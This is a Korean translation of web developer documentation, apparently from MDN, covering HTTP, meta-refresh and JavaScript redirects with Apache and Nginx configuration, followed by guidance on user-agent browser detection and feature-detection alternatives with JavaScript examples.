HTTP 리다이렉트는 리다이렉션을 만드는 가장 좋은 방법이지만, 때때로 웹 개발자는 서버에 대한 제어권을 가지고 있지 않거나 그것을 구성할 수 없는 경우가 있습니다. 이런 특수한 상황들 때문에, 웹 개발자들은 `refresh`를 설정하기 위해 페이지의 `<head>` 내에 `<meta>` 엘리먼트와 `http-equiv` 속성으로 HTML 페이지를 만들 수 있습니다. 해당 페이지를 디스플레이할 때, 브라우저는 이 엘리먼트를 발견하고 표시된 페이지로 이동할 것입니다.

```html
<head>
  <meta http-equiv="refresh" content="0;URL='http://www.example.com/'" />
</head>
```

`content` 속성은 주어진 URL로 리다이렉트 하기 이전에 브라우저가 얼마만큼의 시간(초)을 기다려야 하는지를 나타내는 숫자로 시작됩니다. 더 나은 접근성을 위해 항상 0으로 설정하시기 바랍니다.

두 말할 필요없이, 이 메서드는 HTML 페이지(혹은 그와 유사한 무언가)에서만 동작하며 이미지나 다른 어떤 종류의 컨텐츠에 대해서 사용될 수 없습니다.

**참고:** 이런 리다이렉션들이 브라우저에서 뒤로 가기 버튼을 무용지물로 만든다는 것을 기억하시기 바랍니다: 해당 헤더가 있는 페이지로 다시 돌아갈 수 있는지만 즉시 앞으로 이동하게 될겁니다.

### JavaScript 리다이렉션

JavaScript 내에서의 리다이렉션은 `window.location` (en-US) 프로퍼티에 값을 설정해서 만들어지며 새로운 페이지가 로드됩니다.

```js
window.location = "http://www.example.com/";
```

HTML 리다이렉션처럼, 모든 리소스에서 동작하는 것은 아니며, 명백하게 JavaScript를 실행한 클라이언트 상에서만 동작합니다. 하지만 다른점은, 예를 들어 어떤 조건이 충족되는 경우에만 리다이렉션을 촉발시킬 수 있다는 점에서 더 많은 가능성을 가지고 있습니다.

### 우선 순위

URL 리다이렉션에 대한 세 가지 가능성이 있기에, 몇 가지 방법이 동시에 지정될 수 있는데, 어떤 것이 먼저 적용될까요? 우선 순위는 다음과 같습니다:

1. 페이지가 읽힌 적도 없고 전송된 적도 없는 경우, HTTP 리다이렉트가 항상 먼저 실행됩니다.
2. 어떤 HTTP 리다이렉트로 없는 경우에, HTML 리다이렉트 (`<meta>`)가 실행됩니다.
3. JavaScript 리다이렉트는 최후의 수단으로써 사용되며, 클라이언트 측에서 JavaScript를 활성화시킨 경우에만 사용할 수 있습니다.

가능한 경우, 항상 HTTP 리다이렉트를 사용해야 하며, `<meta>` 엘리먼트를 사용해서는 안됩니다. 만약 개발자가 HTTP 리다이렉트를 변경하고 HTML 리다이렉트를 잊는다면, 리다이렉트는 더 이상 동일한 한 것이 아니거나, 무한 루프로 종료되거나 다른 악몽이 시작될 수도 있습니다.

유스 케이스
------

리다이렉트에 대한 많은 유스 케이스들이 존재하지만, 모든 리다이렉트들이 성능과 직결되므로, 리다이렉트의 사용은 최소한으로 유지되어야 합니다.

### 도메인 앨리어싱

이상적으로, 하나의 로케이션이 존재하고, 그래서 하나의 리소스에 대해 하나의 URL이 존재한다고 가정하겠습니다. 그러나 하나의 리소스에 대한 대체 이름을 갖고자 할 때가 있을 수 있습니다 (www 접두사를 갖거나 갖지 않는 몇몇 도메인 혹은 URL을 더 짧고 기억하기 쉽도록하는 등...). 이런 경우, 리소스를 복제하기 보다는 실제 (정식) URL에 대한 리다이렉트를 사용하는 것이 더 유용합니다.

도메인 앨리어싱을 하는 경우는 다음과 같습니다.

* 사이트 범위 확장. 당신의 사이트가 `www.example.com` 도메인을 가지고 있을 때 `example.com`을 통한 접근도 가능한 경우가 가장 흔한 경우입니다. `example.com` 페이지를 `www.example.com` 로 리다이렉션하는 것이 이 경우에 해당됩니다. 일반적으로 사용되는 별칭 혹은, 도메인 이름에 빈번히 일어나는 오자를 제공할 수도 있습니다.
* 다른 도메인으로의 이동. 예를 들어, 당신의 회사가 이름을 변경했고 이전 이름으로 검색하는 경우 여전히 회사의 옛날 이름으로 웹 사이트를 사용하는 사람들이 새로운 이름의 사이트를 이용하길 바라는 경우에 해당됩니다.
* HTTPS 강제. 사이트에 대한 HTTP 버전 요청은 사이트의 HTTPS 버전으로 리다이렉트될 것입니다.
### 링크 유지하기

웹 사이트를 다시 만들때, 리소스의 URL이 변경되기 마련입니다. 새로운 네이밍 계획과 일치하도록 웹 사이트의 내부 링크를 갱신할 수 있는 경우조차도, 외부 리소스에 의해 사용되는 URL에 대해서는 어쩔 수가 없습니다. 그들은 당신에게 소중한 사용자이므로(또 SEO에 도움이 되길 바라는 마음으로) 해당 링크를 깨뜨리고 싶지 않을 것이기에, 이전 URL에서 새로운 URL로의 리다이렉트를 설정하려 할 겁니다.

**참고:** 이 기술 또한 내부 링크에 대해서 동작하므로, 내부 리다이렉트는 피해야 할 겁니다. 리다이렉트는 상당한 성능 비용이 드므로(추가적인 HTTP 요청이 수행되므로) 내부 링크를 바로잡아 내부 다이렉트를 피할 수 있다면 해당 링크를 수정해야 합니다.

### 안전하지 않은 요청에 대한 일시적인 응답

Unsafe 요청이 서버의 상태를 수정할 경우, 사용자가 이를 우연히 재연할 수 있어서는 안됩니다. 일반적으로, 당신은 사용자가 `PUT`, `POST` 혹은 `DELETE` 요청을 재전송하기를 바라지는 않을 겁니다. 만약 당신이 해당 요청의 결과로 지금 막 응답을 전송했다면, 단순히 새로고침 버전을 누르는 것만으로 요청은 재전송될 겁니다(아마도 확인 메시지 이후에).

이런 경우, 서버는 올바른 정보를 포함하게 될 `303` (See Other) 요청을 회신할 수 있는데, 새로 고침 버튼이 눌린 경우, 안전하지 않은 요청이 재연되지 않고 동일한 페이지가 다시 디스플레이될 것입니다.

### 긴 요청에 대한 일시적인 응답

어떤 요청들은 때때로 후처리를 위해 예정되는 `DELETE` 요청처럼, 서버 상에서 좀 더 많은 시간을 필요로 하는 경우가 있습니다. 이와 같은 경우에, 응답은 `303` (See Other) 리다이렉트로, 어떤 동작이 예정되어 있고 진행률에 관해 알려주고 그 동작을 취소할 수 있도록 해주는 페이지로 리다이렉트됩니다.

일반 서버 내 리다이렉트 구성
----------------

### Apache

리다이렉트는 서버 구성 파일 혹은 각 디렉토리의 `.htaccess` 내에서 설정될 수 있습니다.

mod\_alias 모듈은 (기본값으로) `302` 응답을 설정하는 `Redirect` 그리고 `Redirect_Match` 디렉티브를 가지고 있습니다:
```

<VirtualHost *:80>
  ServerName example.com
  Redirect / http://www.example.com
</VirtualHost>
```

URL `http://example.com/` 은 `http://www.example.com/` 로 리다이렉트됩니다(하지만 `http://example.com/other.html`은 리다이렉트되지 않습니다).

`Redirect_Match` 도 똑같이 동작하지만 영향을 받은 URL 컬렉션 정의를 위해 정규 표현식을 받습니다:
```

RedirectMatch ^/images/(.*)$ http://images.example.com/$1
```

`images/` 폴더 내 모든 문서들은 다른 도메인으로 리다이렉트될 것입니다.

일시적인 리다이렉트를 설정하고 싶지 않다면, 다른 리다이렉트를 설정하는데 여분의 파라메터(사용하고자 하는 HTTP 상태 코드 혹은 `permanent` 키워드)를 사용할 수 있습니다:
```

Redirect permanent / http://www.example.com
Redirect 301 / http://www.example.com
```

mod\_rewrite 모듈도 리다이렉트를 만드는데 사용될 수 있습니다. 이것은 약간 더 복잡한데, 사용은 약간 더 복잡합니다.

### Nginx

Nginx에서는, 당신이 리다이렉트하고자 하는 컨텐츠에 대한 특정 서버 블록을 만들 수 있습니다:
```

server {
  listen 80;
  server_name example.com;
  return 301 $scheme://www.example.com$request_uri;
}
```

폴더 혹은 페이지의 하위 집합에만 적용되는 리다이렉트를 원한다면, `rewrite` 디렉티브를 사용하시기 바랍니다:
```

rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
```

### IIS

IIS에서는, 리다이렉션 구성을 위해 `<httpRedirect>` 요소를 사용할 수 있습니다.

리다이렉션 루프
--------

리다이렉션 루프는 성공적인 리다이렉션이 이전의 리다이렉션을 다시 따라갈 때 일어납니다. 다시 말해, 결코 끝나지 않으면, 끝까지 어떤 페이지도 볼 수 없는 루프가 존재한다는 말입니다.

대부분의 경우, 이런 문제는 서버 측 문제이며 서버가 이를 감지할 수 없다면, `500` `Internal Server Error`를 회신할 것입니다. 서버 구성을 수정한 직후에 그런 오류를 보게 된다면, 그것은 리다이렉션 루프일 가능성이 큽니다.

때로는, 서버가 그것을 감지하지 않을 때도 있을 겁니다: 전체적인 그림을 모르는 몇 개의 서버에 리다이렉션 루프가 행해지기 때문입니다. 이런 경우, 브라우저가 이를 감지하고 오류 메시지를 보여줄 것입니다. Firefox는 다음과 같이 디스플레이하게 됩니다:
```

Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
```

반면, 크롬은 다음과 같이 디스플레이합니다:
```

This Webpage has a redirect loop
```

모든 경우에, 사용자가 할 수 있는 일은 그리 많지 않습니다(사용자 측에서 캐시 혹은 쿠키의 불일치와 같은 어떤 변화를 주지 않은 이상말이죠).

리다이렉션 루프는 사용자 경험을 완전히 망쳐놓기에 리다이렉션 루프를 피하는 것은 대단히 중요합니다.


사용자 에이전트를 사용한 브라우저 감지 - HTTP

사용자 에이전트를 사용한 브라우저 감지
=====================

브라우저별로 다른 웹 페이지 또는 서비스를 제공하는 것은 일반적으로 좋지 않은 생각입니다. 웹은 사용하는 브라우저나 장치에 관계없이 모든 사람이 접근할 수 있도록 만들어졌습니다. 특정 브라우저를 대상으로 하기보다는 기능의 가용성을 기반으로 웹사이트를 점진적으로 개선하도록 웹사이트를 개발하는 방법이 있습니다.

그러나 브라우저와 표준은 완벽하지 않으며 브라우저 감지가 필요한 일부 극단적인 경우가 여전히 있습니다. 사용자 에이전트를 사용하여 브라우저를 감지하는 것은 간단해 보이지만, 이를 잘 수행하는 것은 사실 매우 어려운 문제입니다. 이 문서는 이 작업을 가능한 한 정확하게 수행하도록 안내합니다.

**참고:** 다시 반복할 가치가 있습니다. 사용자 에이전트 탐지를 사용하는 것은 거의 좋은 생각이 아닙니다. 문제를 해결하기 위해 거의 항상 더 좋고 더 광범위하게 호환되는 방법을 찾을 수 있습니다!

브라우저 감지를 사용하기 전 고려 사항
---------------------

어떤 브라우저가 사용되고 있는지 감지하기 위해 사용자 에이전트 문자열 사용을 고려할 때, 첫 번째 단계는 가능하면 이 방법은 피하는 것입니다. 그 작업을 하고 싶은 **이유**를 파악하는 것부터 시작하세요.

일부 브라우저 버전의 특정 버그를 해결하려고 하시나요?

전문 포럼에서 보거나 질문하세요. 당신이 이 문제에 처음으로 직면할 가능성은 거의 없습니다. 또한, 전문가나 다른 관점을 가진 사람들이 버그 해결을 위한 아이디어를 제공할 수 있습니다. 문제가 흔하지 않은 것 같다면, 이 버그가 버그 추적 시스템을 통해 브라우저 공급업체에 보고되었는지 확인하는 것이 좋습니다(Mozilla; WebKit; Blink; Opera). 브라우저 제조업체는 버그 보고서에 주의를 기울이고 있으며, 분석을 통해 버그에 대한 다른 해결 방법에 대한 힌트를 얻을 수 있습니다.

특정 기능이 있는지 확인하려고 하시나요?

당신의 사이트는 일부 브라우저가 아직 지원하지 않는 특정 웹 기능을 사용해야 하며, 해당 사용자를 기능은 적지만 작동할 것으로 알고 있는 이전 웹 사이트로 보내고 싶습니다. 이는 결국 다른 모든 브라우저가 따라잡을 가능성이 높기 때문에 사용자 에이전트 감지를 사용하는 최악의 이유입니다. 또한, 덜 널리 사용되는 브라우저를 모두 테스트하고 해당 웹 기능을 테스트하는 것은 실용적이지 않습니다. 사용자 에이전트 스니핑을 **절대** 수행해서는 안 됩니다. 대신 기능 감지를 수행하는 대안이 **항상** 있습니다.

어떤 브라우저를 사용하는지에 따라 다른 HTML을 제공하고 싶으신가요?

이는 일반적으로 나쁜 습관이지만, 일부 경우에는 이것이 필요합니다. 이런 경우에는, 먼저 상황을 분석하여 정말 필요한지 확인해야 합니다. 의미가 없는 `<div>` (en-US) 또는 `<span>` 요소를 추가해 이를 예방할 수 있나요? 사용자 에이전트 감지를 성공적으로 사용하기에 어려움이 있는 부분은 HTML의 순수성을 위배할 수 있습니다. 또한, 디자인을 다시 생각해보세요. 점진적인 향상이나 유동적인 레이아웃을 사용하여 이러한 작업을 수행할 필요성을 제거할 수 있나요?

사용자 에이전트 감지 방지
--------------

사용자 에이전트 감지를 사용하지 않으려면, 옵션이 있습니다!

기능 감지

기능 감지는 어떤 브라우저가 페이지를 렌더링하는지 알아내려는 것이 아니라, 필요한 특정 기능을 사용할 수 있는지 확인하는 것입니다. 그렇지 않은 경우, 대체 방법을 사용합니다. 브라우저마다 동작이 다른 드문 경우에는 사용자 에이전트 문자열을 확인하는 대신, 브라우저가 API를 구현하는 방법을 감지하고 이를 사용하는 방법을 결정하는 테스트를 구현해야 합니다. 기능 감지의 예제는 다음과 같습니다. 2017년에, Chrome 정규식에서 플래그가 지정되지 않은 실험적 뒤돌아보기 지원, 하지만 다른 브라우저는 이를 지원하지 않았습니다. 따라서 다음과 같이 생각했을 수도 있습니다.

```js
// 이 코드 조각은 문자열을 특수 표기법으로 분할합니다.
let splitUpString;
if (navigator.userAgent.includes("Chrome")) {
  // 넵! 사용자가 Look-Behind 정규 표현식을 지원하는 것으로 의심됩니다.
  // /(?<=[A-Z])/를 사용하지 마세요.
  // look-behind 표현식을 지원하지 않는 브라우저에서는 구문 오류가 발생합니다.
  // 모든 브라우저는 실행되지 않은 코드 섹션을 포함하여 전체 스크립트를 구문 분석하기 때문입니다.
  const camelCaseExpression = new RegExp("(?<=[A-Z])");
  splitUpString = (str) => String(str).split(camelCaseExpression);
} else {
  // 이 대체 코드는 성능이 훨씬 떨어지지만 작동합니다.
  splitUpString = (str) =>
    String(str)
      .split(/(.\*?[A-Z])/)
      .filter(Boolean);
}

console.log(splitUpString("fooBar")); // ["fooB", "ar"]
console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
```

 위의 코드는 몇 가지 잘못된 가정을 했을 것입니다.
 먼저, 하위 문자열 'Chrome'을 포함하는 모든 사용자 에이전트 문자열이 Chrome이라고 가정합니다. UA 문자열은 오해의 소지가 있는 것으로 악명이 높습니다.
 그런 다음, 브라우저가 Chrome인 경우 lookbehind 기능을 항상 사용할 수 있다고 가정했습니다. 에이전트는 지원이 추가되기 전의 이전 버전의 Chrome일 수도 있고, (당시 기능이 실험적이었기 때문에) 이를 제거한 최신 버전의 Chrome일 수도 있습니다.
 가장 중요한 점은 다른 브라우저가 이 기능을 지원하지 않을 것이라고 가정했다는 것입니다. 언제든지 다른 브라우저에 지원이 추가될 수 있지만, 이 코드는 계속해서 열등한 경로를 선택했을 것입니다.

이와 같은 문제는 대신 기능 자체의 지원을 테스트하여 피할 수 있습니다.

```js
let isLookBehindSupported = false;

try {
  new RegExp("(?<=)");
  isLookBehindSupported = true;
} catch (err) {
  // 에이전트가 look behinds를 지원하지 않는 경우, 해당 구문을 사용하여 RegExp 객체를 만들려고 하면
  // isLookBehindSupported가 false로 유지됩니다.
}

const splitUpString = isLookBehindSupported
  ? (str) => String(str).split(new RegExp("(?<=[A-Z])"))
  : (str) =>
      String(str)
        .split(/(.\*?[A-Z])/)
        .filter(Boolean);

console.log(splitUpString("fooBar")); // ["fooB", "ar"]
console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
```

위 코드에서 알 수 있듯이, 사용자 에이전트 스니핑 없이 브라우저 지원을 **항상** 테스트하는 방법이 있습니다. 이에 대해, 사용자 에이전트 문자열을 확인할 이유가 **절대** 없습니다.

마지막으로, 위의 코드 조각은 항상 고려해야 하는 크로스 브라우저 코딩과 관련된 중요한 문제를 가져옵니다. 지원되지 않는 브라우저에서 테스트 중인 API를 실수로 사용하지 마세요. 이는 명백하고 단순하게 들릴 수도 있지만, 때로는 그렇지 않습니다. 예를 들어, 위의 코드 조각에서 짧은 정규식 표기법(예: /reg/igm)으로 lookbehind를 사용하면 지원되지 않는 브라우저에서 구문 분석 오류가 발생합니다. 그러므로, 위의 예시에서는, 코드의 lookbehind 지원 섹션에서도 대신에 */(?<=look\_behind\_stuff)/* 대신 *new RegExp("(?<=look\_behind\_stuff)");* 를 사용합니다.

점진적인 향상

이 디자인 기술에는 상향식 접근 방식을 사용하여 '레이어'에서 웹 사이트를 개발하고, 단순한 레이어에서 시작하여 각각 더 많은 기능을 사용하는 연속적인 레이어에서 사이트 기능을 향상시키는 작업이 포함됩니다.

우아한 저하

이는 원하는 모든 기능을 사용하여 최상의 사이트를 구축하는 하향식 접근 방식입니다, 그런 다음 이전 브라우저에서 작동하도록 조정하세요. 이는 점진적인 향상보다 수행하기 어렵고 덜 효과적일 수 있지만, 어떤 경우에는 유용할 수 있습니다.

모바일 장치 감지

사용자 에이전트 스니핑의 가장 일반적인 사용 및 오용은 장치가 모바일 장치인지 감지하는 것입니다. 그러나, 사람들은 자신이 실제로 추구하는 것이 무엇인지 너무 자주 간과합니다. 사람들은 사용자 에이전트 스니핑을 사용하여 사용자의 장치가 터치에 적합하고 화면이 작은지 감지하여, 이에 따라 웹사이트를 최적화할 수 있습니다. 사용자 에이전트 스니핑이 때때로 이를 감지할 수 있지만, 모든 장치가 동일한 것은 아닙니다. 일부 모바일 장치는 화면 크기가 크고, 일부 데스크탑에는 작은 터치스크린이 있고, 일부 사람들은 전혀 다른 스마트 TV를 사용하며, 일부 사람들은 태블릿을 옆으로 뒤집어 화면의 너비와 높이를 동적으로 변경할 수 있습니다! 따라서, 사용자 에이전트 스니핑은 확실히 좋은 방법이 아닙니다. 다행이도, 훨씬 더 나은 대안이 있습니다. Navigator.maxTouchPoints (en-US)를 사용하여 사용자 기기에 터치스크린이 있는지 확인하세요. 그런 다음, 기본적으로 (!("maxTouchPoints" in navigator)) { /\*코드는 여기에 있습니다\*/}인 경우에만 사용자 에이전트 화면만 확인하는 것으로 다시 돌아갑니다. 기기에 터치스크린이 있는지 여부에 대한 정보를 사용하여, 터치 기기에 대해서만 웹사이트의 전체 레이아웃을 변경하지 마세요. 당신은 자신을 위해 더 많은 작업과 유지 관리를 생성하게 될 것입니다. 오히려, 더 크고 쉽게 클릭할 수 있는 버튼(CSS를 사용하면 글꼴 크기를 늘릴 수 있음)과 같은 터치 편의성을 추가하세요. 다음은 모바일 장치에서 #exampleButton의 패딩을 1em으로 늘리는 코드의 예입니다.

```js
let hasTouchScreen = false;
if ("maxTouchPoints" in navigator) {
  hasTouchScreen = navigator.maxTouchPoints > 0;
} else if ("msMaxTouchPoints" in navigator) {
  hasTouchScreen = navigator.msMaxTouchPoints > 0;
} else {
  const mQ = matchMedia?.("(pointer:coarse)");
  if (mQ?.media === "(pointer:coarse)") {
    hasTouchScreen = !!mQ.matches;
  } else if ("orientation" in window) {
    hasTouchScreen = true; // deprecated, but good fallback
  } else {
    // Only as a last resort, fall back to user agent sniffing
    const UA = navigator.userAgent;
    hasTouchScreen =
      /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) ||
      /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA);
  }
}

if (hasTouchScreen) {
  document.getElementById("exampleButton").style.padding = "1em";
}
```

화면 크기는, 'window.innerWidth' 및 window.addEventListener("resize", () => { /\*화면 크기에 따라 새로고침\*/ })을 사용하세요. 화면 크기에 대해 원하는 것은 작은 화면의 정보를 잘라내는 것이 아닙니다. 데스크톱 버전을 사용하도록 강요하기 때문에, 사람들을 짜증나게 할 뿐입니다. 오히려, 작은 화면에서는 긴 페이지에 더 적은 수의 정보 열을 두고, 큰 화면에서는 더 짧은 페이지에 더 많은 열을 두는 것이 좋습니다. 이 효과는 CSS flexbox를 사용하여 쉽게 얻을 수 있습니다, 때로는 함께 부분 대체로서 floats도 사용합니다.

또한, 관련성이 낮거나 중요한 정보를 아래쪽으로 옮기고 페이지 콘텐츠를 의미 있게 그룹화하세요. 주제에서 벗어난 내용이지만, 다음의 자세한 예는 사용자 에이전트 스니핑을 중단하도록 설득하는 통찰력과 아이디어를 제공할 수 있습니다. 정보 상자로 구성된 페이지를 상상해 봅시다. 각 상자는 다른 고양이 품종 또는 개 품종에 관한 것입니다. 각 상자에는 이미지, 개요 및 역사적으로 재미있는 사실이 포함되어 있습니다. 사진은 대형 화면에서도 최대한 적당한 크기로 유지됩니다. 콘텐츠를 의미있게 그룹화하기 위해, 고양이 상자와 개 상자가 서로 섞이지 않도록 모든 고양이 상자와 개 상자를 분리합니다. 큰 화면에서는, 여러 개의 열을 배치하여 사진의 왼쪽과 오른쪽에 낭비되는 공간을 줄여, 공간을 절약합니다. 상자는 두 가지 균일한 공정한 방법을 통해 여러 열로 분리될 수 있습니다. 이 시점부터 우리는 모든 강아지 상자가 소스 코드의 상단에 있고, 모든 고양이 상자가 소스 코드의 하단에 있으며, 이 모든 상자가 동일한 부모 요소를 가지고 있다고 가정해봅시다. 물론 고양이 상자 바로 위에 강아지 상자가 하나 있습니다. 첫 번째 방법은 수평 Flexbox를 사용하여 페이지가 최종 사용자에게 표시될 때 모든 강아지 상자가 상단에 오도록 콘텐츠를 그룹화합니다. 페이지와 모든 고양이 상자는 페이지 아래쪽에 있습니다. 두 번째 방법은 Column (en-US) 레이아웃을 사용하고 모든 강아지는 왼쪽으로, 모든 고양이는 오른쪽으로 보냅니다. 이 특정 시나리오에서만 flexbox/다중 열에 대한 대체 동작을 제공하지 않는 것이 적절하므로 이전 브라우저에서는 매우 넓은 상자의 단일 열이 생성됩니다. 또한 다음 상황을 고려하세요. 더 많은 사람들이 고양이를 보기 위해 웹페이지를 방문한다면, 소스 코드에서 개보다 고양이를 모두 상위에 배치하여 더 많은 사람들이 콘텐츠가 한 열 아래로 축소되는 작은 화면에서 원하는 것을 더 빨리 찾을 수 있도록 하는 게 좋습니다.

 다음으로, 항상 코드를 동적으로 만들어주세요.
 사용자는 모바일 장치를 옆으로 뒤집어 페이지의 너비와 높이를 변경할 수 있습니다.
 또는, 나중에 뒤집어서 화면을 확장하는 이상한 플립폰 같은 장치가 있을 수도 있습니다.
 플립폰 같은 장치를 어떻게 처리할지 고민하는 개발자가 되지 마세요.
 웹페이지가 부드럽고, 유연하며, 동적으로 크기가 조정되는 동안 개발 도구 측면 패널을 열고 화면 크기를 조정할 수 있을 때까지 웹페이지에 만족하지 마세요.
 할 수 있는 가장 간단한 방법은 화면 크기에 따라 콘텐츠를 이동하는 모든 코드를 페이지가 로드될 때와 그 후의 각 resize 이벤트에서 호출되는 단일 함수로 분리하는 것입니다. 페이지의 새 레이아웃을 결정하기 전에 이 레이아웃 함수로 계산된 양이 많은 경우 이벤트 리스너가 자주 호출되지 않도록 디바운싱을 고민해보세요.
 또한 미디어 쿼리 `(max-width: 25em)`, `not all and (min-width: 25em)` 및 `(max-width: 24.99em)` 사이에는 큰 차이가 있습니다. `(max-width: 25em)`는 `(max-width: 25em)`을 제외하는 반면, `not all and (min-width: 25em)`는 `(max-width: 25em)`를 포함합니다.
 `(max-width: 24.99em)`는 `not all and (min-width: 25em)`의 좋지 않은 버전입니다. `(max-width: 24.99em)`를 사용하지 마세요. 향후 초고화질 기기에서 매우 큰 글꼴 크기로 인해 레이아웃이 '깨질 수' 있기 때문입니다.
 올바른 미디어 쿼리를 선택하고 해당 JavaScript에서 올바른 >=, <=, >, 또는 <를 선택하는 데 있어 항상 주의를 기울이세요. 이러한 항목이 혼란을 주기 쉽고, 레이아웃이 변경되는 화면 크기에 따라 웹 사이트가 이상하게 보일 수 있기 때문입니다.
 따라서, 레이아웃 변경이 발생하는 정확한 너비/높이에서 웹사이트를 철저하게 테스트하여 레이아웃 변경이 제대로 발생하는지 확인하세요.

사용자 에이전트 스니핑을 최대한 활용하기
----------------------

위의 사용자 에이전트 스니핑에 대한 더 나은 대안을 모두 검토한 후에도, 사용자 에이전트 스니핑이 적절하고 정당한 잠재적인 경우가 여전히 있습니다.

그러한 사례 중 하나는 장치에 터치 스크린이 있는지 감지할 때 대체 수단으로 사용자 에이전트 스니핑을 사용하는 것입니다. 자세한 내용은 모바일 장치 감지 섹션을 참조하세요.

또 다른 사례는 자동으로 업데이트되지 않는 브라우저의 버그를 수정하는 것입니다. Webkit(iOS)이 완벽한 예시로 들 수 있습니다. Apple은 IOS의 모든 브라우저가 내부적으로 Webkit을 사용하도록 강제하므로, 사용자는 이전 장치에서 더 나은 업데이트된 브라우저를 얻을 수 없습니다. 대부분의 버그는 감지할 수 있지만 일부 버그는 다른 버그보다 감지하는 데 더 많은 노력이 필요합니다. 이러한 경우 성능을 절약하기 위해, 사용자 에이전트 스니핑을 사용하는 것이 도움이 될 수 있습니다. 예를 들어, Webkit 6에는 장치 방향이 변경될 때 브라우저가 MediaQueryList (en-US) 리스너를 실행해야 할 때 실행하지 않을 수 있는 버그가 있습니다. 이 버그를 극복하려면 아래 코드를 확인해주세요.

```js
const UA = navigator.userAgent;
const isWebkit =
  /\b(iPad|iPhone|iPod)\b/.test(UA) &&
  /WebKit/.test(UA) &&
  !/Edge/.test(UA) &&
  !window.MSStream;

let mediaQueryUpdated = true;
const mqL = [];

function whenMediaChanges() {
  mediaQueryUpdated = true;
}

const listenToMediaQuery = isWebkit
  ? (mQ, f) => {
      if (/height|width/.test(mQ.media)) {
        mqL.push([mQ, f]);
      }
      mQ.addListener(f);
      mQ.addListener(whenMediaChanges);
    }
  : () => {};

const destroyMediaQuery = isWebkit
  ? (mQ) => {
      for (let i = 0; i < mqL.length; i++) {
        if (mqL[i][0] === mQ) {
          mqL.splice(i, 1);
        }
      }
      mQ.removeListener(whenMediaChanges);
    }
  : listenToMediaQuery;

let orientationChanged = false;
addEventListener(
  "orientationchange",
  () => {
    orientationChanged = true;
  },
  PASSIVE\_LISTENER\_OPTION,
);

addEventListener("resize", () =>
  setTimeout(() => {
    if (orientationChanged && !mediaQueryUpdated) {
      for (let i = 0; i < mqL.length; i++) {
        mqL[i][1](mqL[i][0]);
      }
    }
    mediaQueryUpdated = orientationChanged = false;
  }, 0),
);
```

사용자 에이전트의 어느 부분에 찾고 있는 정보가 포함되어 있나요?
------------------------------------

사용자 에이전트 문자열의 다른 부분에서는 균일성이 없기 때문에, 이것이 까다로운 부분입니다.

### 브라우저 이름 및 버전

사람들이 "브라우저 감지"를 원한다고 하면, 실제로는 "렌더링 엔진 감지"를 원하는 경우가 많습니다. 실제로 SeaMonkey가 아닌 Firefox를 감지하고 싶거나 Chromium이 아닌 Chrome을 감지하고 싶나요? 아니면 브라우저가 Gecko 또는 WebKit 렌더링 엔진을 사용하고 있는지 실제로 확인하고 싶나요? 필요하면 페이지 아래를 참조하세요.

대부분의 브라우저는 'BrowserName/VersionNumber' 형식으로 이름과 버전을 설정합니다. 그러나 이름은 해당 형식의 사용자 에이전트 문자열에 있는 유일한 정보가 아니기 때문에, 브라우저 이름을 찾을 수 없고, 찾고 있는 이름이 맞는지만 확인할 수 있습니다. 그러나 일부 브라우저는 거짓말을 하고 있습니다. 예를 들어, Chrome은 Chrome과 Safari 모두 보고합니다. 따라서 Safari를 감지하려면 Safari 문자열과 Chrome 문자열이 없는지 확인해야 합니다. Chromium은 종종 자신을 Chrome으로 보고하거나 Seamonkey는 때때로 자신을 Firefox로 보고합니다.

또한, BrowserName에 간단한 정규식을 사용하지 않도록 주의하세요. 사용자 에이전트에는 키워드/값 구문 외부의 문자열도 포함되어 있습니다. 예를 들어, Safari와 Chrome에는 'like Gecko'라는 문자열이 포함되어 있습니다.

| 엔진 | 반드시 포함해야 함 | 다음을 포함하면 안 됨 |
| --- | --- | --- |
| Firefox | `Firefox/xyz` | `Seamonkey/xyz` |
| Seamonkey | `Seamonkey/xyz` |  |
| Chrome | `Chrome/xyz` | `Chromium/xyz` or `Edg.*/xyz` |
| Chromium | `Chromium/xyz` |  |
| Safari | `Safari/xyz` | `Chrome/xyz` or `Chromium/xyz` |
| Opera 15+ (Blink 기반 엔진) | `OPR/xyz` |  |
| Opera 12- (Presto 기반 엔진) | `Opera/xyz` |  |

[1] Safari는 두 가지 버전 번호를 제공합니다. 하나는 기술적인 `Safari/xyz` 토큰이고, 다른 하나는 사용자 친화적인 `Version/xyz` 토큰입니다.

물론, 다른 브라우저가 이러한 기능 중 일부를 가로채지 않을 것이라는 보장은 전혀 없습니다(과거 Chrome이 Safari 문자열을 가로챈 것처럼). 그렇기 때문에 사용자 에이전트 문자열을 사용한 브라우저 감지는 신뢰할 수 없으며, 버전 번호를 확인한 후에만 수행해야 합니다(이전 버전을 가로챌 가능성이 적음).

### 렌더링 엔진

앞서 살펴본 것처럼, 대부분의 경우, 렌더링 엔진을 찾는 것이 더 나은 방법입니다. 이는 덜 알려진 브라우저를 제외하지 않는 데 도움이 됩니다. 공통 렌더링 엔진을 공유하는 브라우저는 동일한 방식으로 페이지를 표시합니다. 즉, 한 페이지에서 작동하는 것이 다른 브라우저에서도 작동할 것이라는 공정한 가정인 경우가 많습니다.

Blink, Gecko 및 WebKit의 세 가지 활성 주요 렌더링 엔진이 있습니다. 렌더링 엔진 이름을 스니핑하는 것이 일반적이기 때문에, 많은 사용자 에이전트가 감지를 트리거하기 위해 다른 렌더링 이름을 추가했습니다. 따라서 렌더링 엔진을 감지할 때 거짓 긍정을 유발하지 않도록 주의하는 것이 중요합니다.

| 엔진 | 반드시 포함해야 함 | 설명 |
| --- | --- | --- |
| Blink | `Chrome/xyz` |  |
| Gecko | `Gecko/xyz` |  |
| WebKit | `AppleWebKit/xyz` | 주의하세요, WebKit 브라우저는 감지가 부주의할 경우 Gecko에 대한 오탐지를 유발할 수 있는 'like Gecko' 문자열을 추가합니다. |
| Presto | `Opera/xyz` | **참고:** Presto는 더 이상 Opera 브라우저 빌드 버전 15 이하에서 사용되지 않습니다('Blink' 참조) |
